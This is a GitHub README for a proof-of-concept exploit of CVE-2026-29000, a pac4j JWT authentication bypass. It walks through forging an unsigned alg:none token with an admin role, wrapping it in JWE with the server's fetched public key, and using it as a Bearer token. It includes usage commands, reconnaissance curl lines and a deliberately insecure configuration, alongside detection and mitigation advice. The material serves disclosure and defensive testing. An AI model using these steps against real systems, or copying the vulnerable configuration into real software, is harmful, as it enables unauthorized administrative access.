c0gnit00/CVE-2026-29000
GitHub: c0gnit00/CVE-2026-29000
Stars: 0 | Forks: 0
# CVE-2026-29000: pac4j JWT Authentication Bypass PoC
## ⚠️ DISCLAIMER
**This tool is provided for educational and authorized security testing purposes only. The author assumes NO responsibility for any misuse, damage, or illegal use of this exploit.**
- Unauthorized access to computer systems is **ILLEGAL** in most jurisdictions
- Users must obtain **explicit written permission** before testing
- The author is **NOT liable** for any consequences arising from misuse of this tool
- This is a **security research and educational tool** - use ethically and legally
## 📋 Vulnerability Overview
This vulnerability exploits a flaw in pac4j's JWT authentication mechanism where the library:
1. **Accepts unsigned tokens** with `alg: "none"` in the JWT header
2. **Trusts JWE-wrapped tokens** without properly validating the inner JWT signature
3. **Allows role elevation** through custom claims in the unsigned payload
An attacker can craft an unsigned JWT with arbitrary claims (like `role: "ROLE_ADMIN"`), encrypt it in a JWE container using the server's public key, and gain unauthorized access to admin functionalities.
## 🎯 Prerequisites for Successful Exploitation
### Server-Side Requirements
For this exploit to succeed, the target server must satisfy **ALL** of the following conditions:
#### 1. **Accessible JWKS Endpoint**
The server must expose its public keys via one of these endpoints:
- `/.well-known/jwks.json` (standard OAuth/OIDC endpoint)
- `/api/auth/jwks` (custom endpoint)
**Why:** The exploit automatically fetches the server's public key to encrypt the forged JWE token.
#### 2. **JWT ROLE Claim Acceptance**
The server must:
- Accept and process a `role` claim in the JWT payload
- Have at least one privilege level that grants elevated access (e.g., `ROLE_ADMIN`)
- **Not** validate the JWT signature or allow unsigned tokens
**Common Roles:**
- `ROLE_ADMIN` - Full administrative access
- `ROLE_USER` - Standard user access
- Custom roles depending on application
#### 3. **JWE Token Processing**
The server must:
- Accept JWE (encrypted) tokens as valid authentication
- Decrypt and process the inner unsigned JWT
- **Not** verify the signature of the inner JWT or check the algorithm
#### 4. **Vulnerable pac4j Configuration**
The application must use pac4j with:
- Algorithm set to `"none"` or inadequate algorithm validation
- JWE encryption enabled but signature verification disabled on the inner JWT
- No additional token validation beyond JWE decryption
## 🛠️ Installation
### Requirements
- Python 3.7+
- Required packages: `requests`, `jwcrypto`
### Setup
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
### requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
## 🚀 Usage
### Basic Usage
python3 exploit.py
**Example:**
python3 exploit.py http://vulnerable-app.local:8080
The script will:
1. Attempt to fetch JWKS from standard endpoints
2. Generate an unsigned JWT with `role: "ROLE_ADMIN"`
3. Encrypt it using the server's public key
4. Output a JWE token ready for authentication
### Advanced Options
#### Custom Username
python3 exploit.py http://vulnerable-app.local:8080 --username john
#### Custom Role
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
#### Supply JWKS Manually
If the JWKS endpoint is not publicly accessible, provide the JWK manually:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
#### Full Example with All Options
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
## 📤 Using the Generated Token
The exploit outputs a JWE token in the following format:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
### Making Authenticated Requests
Use the token in HTTP requests to access protected endpoints:
# Using curl
curl -H "Authorization: Bearer " \
http://vulnerable-app.local:8080/api/admin/dashboard
# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
### Example Request with Authorization Header
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
## 🔍 How the Exploit Works
### Step 1: Create Unsigned JWT
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
The JWT is created with **no signature** (`alg: "none"`), which is normally invalid but accepted by vulnerable servers.
### Step 2: Fetch Server's JWKS
The exploit queries:
1. `/.well-known/jwks.json` (OAuth/OIDC standard)
2. `/api/auth/jwks` (custom endpoint)
This retrieves the server's RSA public key needed for encryption.
### Step 3: Encrypt JWT as JWE
The unsigned JWT is encrypted using:
- **Algorithm:** RSA-OAEP-256 (asymmetric encryption)
- **Encryption:** A128GCM (authenticated encryption)
- **Key:** Server's public key (prevents tampering)
This creates a JWE token that the server can decrypt but won't verify the inner signature.
### Step 4: Use the Token
The JWE token is included in the `Authorization` header:
Authorization: Bearer
The vulnerable server decrypts it and extracts the unsigned JWT, trusting the claims without verifying the signature.
## 🔐 Vulnerability Chain
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
## ⚠️ Detection and Indicators
### Server-Side Indicators of Vulnerability
1. **JWKS Endpoint Exposure**
- Check if `/.well-known/jwks.json` or `/api/auth/jwks` is publicly accessible
2. **JWT Validation Logs**
- Look for logs accepting tokens with `alg: "none"`
- Warnings about unsigned tokens being accepted
3. **Configuration Review**
- Check if pac4j's signature verification is disabled
- Verify JWE decryption settings
### Network Indicators
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
## 🛡️ Mitigation and Remediation
### For Developers Using pac4j
1. **Enforce Signature Verification**
// BAD - Accepts unsigned tokens
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerable
// GOOD - Requires valid signature
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
2. **Validate JWT Algorithm**
- Never accept `alg: "none"`
- Whitelist allowed algorithms (e.g., RS256, HS256)
- Reject tokens with mismatched algorithms
3. **Disable JWE if Not Needed**
- If authentication only requires JWT, disable JWE wrapping
- If JWE is needed, verify the inner JWT signature independently
4. **Update pac4j**
- Apply security patches
- Update to a version with signature verification enabled by default
5. **Add Token Validation Layers**
- Validate token expiration (`exp` claim)
- Verify issuer (`iss` claim)
- Cross-reference roles against a trusted database
### For System Administrators
1. **Restrict JWKS Endpoint Access**
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Internal networks only
deny all;
}
2. **Monitor Authentication Logs**
- Alert on tokens with `alg: "none"`
- Flag admin role assignments from unexpected sources
3. **Network Segmentation**
- Isolate authentication servers
- Restrict JWKS endpoint to authorized clients
4. **Regular Security Audits**
- Review pac4j configurations
- Penetration test authentication mechanisms
## 📊 Test Environment
### Vulnerable Setup Example
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABLE: No signature verification
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepts JWE but doesn't verify inner JWT
return new JWEEncrypter();
}
}
## 📚 References
- **CVE ID:** CVE-2026-29000
- **Affected Library:** pac4j (JWT module)
- **Attack Vector:** Authentication bypass via unsigned JWT + JWE encryption
- **CVSS Score:** 9.8 (Critical)
### Related Resources
- [pac4j GitHub Repository](https://github.com/pac4j/pac4j)
- [JWT Best Practices](https://tools.ietf.org/html/rfc7519)
- [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)
## ⚖️ Legal Disclaimer
This exploit is provided for **educational and authorized security testing purposes only**.
**Unauthorized access to computer systems is illegal.** This tool should only be used on:
- Systems you own
- Systems with explicit written permission
- Authorized penetration testing engagements
The authors are not responsible for misuse or damage caused by this tool.
## 📝 License
MIT License - See LICENSE file for details